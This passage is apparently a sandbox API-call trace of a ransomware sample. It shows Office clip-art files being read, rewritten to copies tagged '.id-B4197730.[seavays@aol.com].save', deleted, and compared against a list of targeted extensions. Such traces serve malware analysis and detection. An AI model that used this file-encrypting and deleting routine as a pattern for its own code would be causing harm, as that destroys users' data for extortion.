dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0186.377] GetLastError () returned 0x0 [0186.377] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xb66e, lpOverlapped=0x0) returned 1 [0186.381] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xb670, lpOverlapped=0x0) returned 1 [0186.382] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0186.382] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0186.383] SetEndOfFile (hFile=0x2a8) returned 1 [0186.383] CloseHandle (hObject=0x2a8) returned 1 [0186.383] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.383] SetEndOfFile (hFile=0x534) returned 1 [0186.387] CloseHandle (hObject=0x534) returned 1 [0186.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 1 [0186.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0186.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0186.389] lstrlenW (lpString=".doc") returned 4 [0186.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.389] lstrlenW (lpString=".docx") returned 5 [0186.389] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0186.389] lstrlenW (lpString=".pdf") returned 4 [0186.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.389] lstrlenW (lpString=".xls") returned 4 [0186.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.389] lstrlenW (lpString=".xlsx") returned 5 [0186.389] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0186.389] lstrlenW (lpString=".ppt") returned 4 [0186.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0186.389] lstrlenW (lpString=".zip") returned 4 [0186.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.389] lstrlenW (lpString=".rar") returned 4 [0186.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.389] lstrlenW (lpString=".bz2") returned 4 [0186.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.389] lstrlenW (lpString=".7z") returned 3 [0186.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0186.390] lstrlenW (lpString=".dbf") returned 4 [0186.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0186.390] lstrlenW (lpString=".1cd") returned 4 [0186.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0186.390] lstrlenW (lpString=".jpg") returned 4 [0186.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.390] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=21716) returned 1 [0186.390] CloseHandle (hObject=0x534) returned 1 [0186.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 0x220 [0186.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.392] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.392] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0186.393] GetLastError () returned 0x0 [0186.393] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x54d4, lpOverlapped=0x0) returned 1 [0186.489] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x54e0, lpOverlapped=0x0) returned 1 [0186.533] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0186.533] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0186.533] SetEndOfFile (hFile=0x2a8) returned 1 [0186.533] CloseHandle (hObject=0x2a8) returned 1 [0186.534] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.534] SetEndOfFile (hFile=0x534) returned 1 [0186.538] CloseHandle (hObject=0x534) returned 1 [0186.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 1 [0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0186.542] lstrlenW (lpString=".doc") returned 4 [0186.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.542] lstrlenW (lpString=".docx") returned 5 [0186.542] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0186.542] lstrlenW (lpString=".pdf") returned 4 [0186.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.542] lstrlenW (lpString=".xls") returned 4 [0186.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.543] lstrlenW (lpString=".xlsx") returned 5 [0186.543] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0186.543] lstrlenW (lpString=".ppt") returned 4 [0186.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0186.543] lstrlenW (lpString=".zip") returned 4 [0186.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.543] lstrlenW (lpString=".rar") returned 4 [0186.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.543] lstrlenW (lpString=".bz2") returned 4 [0186.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.543] lstrlenW (lpString=".7z") returned 3 [0186.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0186.543] lstrlenW (lpString=".dbf") returned 4 [0186.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0186.543] lstrlenW (lpString=".1cd") returned 4 [0186.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0186.543] lstrlenW (lpString=".jpg") returned 4 [0186.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.544] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=18652) returned 1 [0186.544] CloseHandle (hObject=0x534) returned 1 [0186.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf")) returned 0x220 [0186.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.546] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.546] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0186.548] GetLastError () returned 0x0 [0186.548] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x48dc, lpOverlapped=0x0) returned 1 [0186.550] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x48e0, lpOverlapped=0x0) returned 1 [0186.552] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0186.552] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0186.552] SetEndOfFile (hFile=0x2a8) returned 1 [0186.552] CloseHandle (hObject=0x2a8) returned 1 [0186.553] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.553] SetEndOfFile (hFile=0x534) returned 1 [0186.557] CloseHandle (hObject=0x534) returned 1 [0186.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf")) returned 1 [0186.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0186.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0186.559] lstrlenW (lpString=".doc") returned 4 [0186.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.559] lstrlenW (lpString=".docx") returned 5 [0186.559] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0186.559] lstrlenW (lpString=".pdf") returned 4 [0186.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.559] lstrlenW (lpString=".xls") returned 4 [0186.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.559] lstrlenW (lpString=".xlsx") returned 5 [0186.559] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0186.559] lstrlenW (lpString=".ppt") returned 4 [0186.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0186.559] lstrlenW (lpString=".zip") returned 4 [0186.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.559] lstrlenW (lpString=".rar") returned 4 [0186.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.559] lstrlenW (lpString=".bz2") returned 4 [0186.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.559] lstrlenW (lpString=".7z") returned 3 [0186.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0186.560] lstrlenW (lpString=".dbf") returned 4 [0186.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0186.560] lstrlenW (lpString=".1cd") returned 4 [0186.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0186.560] lstrlenW (lpString=".jpg") returned 4 [0186.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.562] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=17966) returned 1 [0186.562] CloseHandle (hObject=0x534) returned 1 [0186.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 0x220 [0186.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.563] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.563] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0186.565] GetLastError () returned 0x0 [0186.565] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x462e, lpOverlapped=0x0) returned 1 [0186.568] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x4630, lpOverlapped=0x0) returned 1 [0186.569] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0186.569] WriteFile (in: hFile=0x2a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0186.569] SetEndOfFile (hFile=0x2a8) returned 1 [0186.570] CloseHandle (hObject=0x2a8) returned 1 [0186.570] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.570] SetEndOfFile (hFile=0x534) returned 1 [0186.818] CloseHandle (hObject=0x534) returned 1 [0186.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 1 [0186.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0186.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0186.820] lstrlenW (lpString=".doc") returned 4 [0186.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString=".docx") returned 5 [0186.820] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0186.820] lstrlenW (lpString=".pdf") returned 4 [0186.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString=".xls") returned 4 [0186.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.820] lstrlenW (lpString=".xlsx") returned 5 [0186.820] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0186.820] lstrlenW (lpString=".ppt") returned 4 [0186.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0186.820] lstrlenW (lpString=".zip") returned 4 [0186.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.820] lstrlenW (lpString=".rar") returned 4 [0186.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString=".bz2") returned 4 [0186.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString=".7z") returned 3 [0186.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0186.821] lstrlenW (lpString=".dbf") returned 4 [0186.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0186.821] lstrlenW (lpString=".1cd") returned 4 [0186.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0186.821] lstrlenW (lpString=".jpg") returned 4 [0186.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.821] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=12696) returned 1 [0186.821] CloseHandle (hObject=0x534) returned 1 [0186.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf")) returned 0x220 [0186.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.823] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.823] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0186.824] GetLastError () returned 0x0 [0186.824] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x3198, lpOverlapped=0x0) returned 1 [0186.826] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x31a0, lpOverlapped=0x0) returned 1 [0186.828] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0186.828] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0186.828] SetEndOfFile (hFile=0x558) returned 1 [0186.828] CloseHandle (hObject=0x558) returned 1 [0186.828] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.828] SetEndOfFile (hFile=0x534) returned 1 [0186.831] CloseHandle (hObject=0x534) returned 1 [0186.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf")) returned 1 [0186.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0186.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0186.833] lstrlenW (lpString=".doc") returned 4 [0186.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.833] lstrlenW (lpString=".docx") returned 5 [0186.833] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0186.833] lstrlenW (lpString=".pdf") returned 4 [0186.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.833] lstrlenW (lpString=".xls") returned 4 [0186.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.833] lstrlenW (lpString=".xlsx") returned 5 [0186.833] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0186.833] lstrlenW (lpString=".ppt") returned 4 [0186.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0186.834] lstrlenW (lpString=".zip") returned 4 [0186.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.834] lstrlenW (lpString=".rar") returned 4 